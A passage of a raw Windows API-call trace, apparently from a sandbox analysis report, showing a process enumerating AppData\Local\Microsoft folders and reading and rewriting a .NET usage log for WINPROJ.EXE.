ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0202.060] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0202.060] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0202.060] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0202.060] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0202.060] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa3009cf0, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa3009cf0, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0202.060] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd358a482, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e02a2a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827c2c6b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xdc6aa62a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdc6aa62a, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd63cb27, ftCreationTime.dwHighDateTime=0x1d327b2, ftLastAccessTime.dwLowDateTime=0xdd63cb27, ftLastAccessTime.dwHighDateTime=0x1d327b2, ftLastWriteTime.dwLowDateTime=0xdd63cb27, ftLastWriteTime.dwHighDateTime=0x1d327b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenWorkspace", cAlternateFileName="PENWOR~1")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc7d69cc9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ffd581, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43ffd581, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x43ffd581, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaeec2c4, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xeaeec2c4, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0xeaeec2c4, ftLastWriteTime.dwHighDateTime=0x1d327d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc7e3414f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfcc934a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee6232d, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xbee6232d, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xbee6232d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0202.061] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0202.062] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~3")) returned 1 [0202.062] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~2")) returned 1 [0202.062] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 1 [0202.062] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.062] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0202.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0202.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0202.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x30 [0202.063] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.063] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.063] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0202.063] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0202.063] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0202.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0202.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0202.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x30 [0202.064] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.064] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.064] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0202.064] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.064] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0202.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0202.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0202.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0202.065] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.066] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.066] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 1 [0202.066] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.066] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0202.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0202.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0202.066] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0202.066] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.066] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.067] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 1 [0202.067] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 0 [0202.067] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0202.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0202.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", lpFilePart=0x0) returned 0x4a [0202.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0202.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x345a1b0 | out: lpFileInformation=0x345a1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14)) returned 1 [0202.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0202.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", lpFilePart=0x0) returned 0x4a [0202.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0202.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0202.068] GetFileType (hFile=0x47c) returned 0x1 [0202.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0202.068] GetFileType (hFile=0x47c) returned 0x1 [0202.068] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x14 [0202.068] ReadFile (in: hFile=0x47c, lpBuffer=0x345a480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x345a480*, lpNumberOfBytesRead=0x207ec5c8*=0x14, lpOverlapped=0x0) returned 1 [0202.069] CloseHandle (hObject=0x47c) returned 1 [0202.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", lpFilePart=0x0) returned 0x4a [0202.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0202.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0202.370] GetFileType (hFile=0x47c) returned 0x1 [0202.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0202.370] GetFileType (hFile=0x47c) returned 0x1 [0202.370] 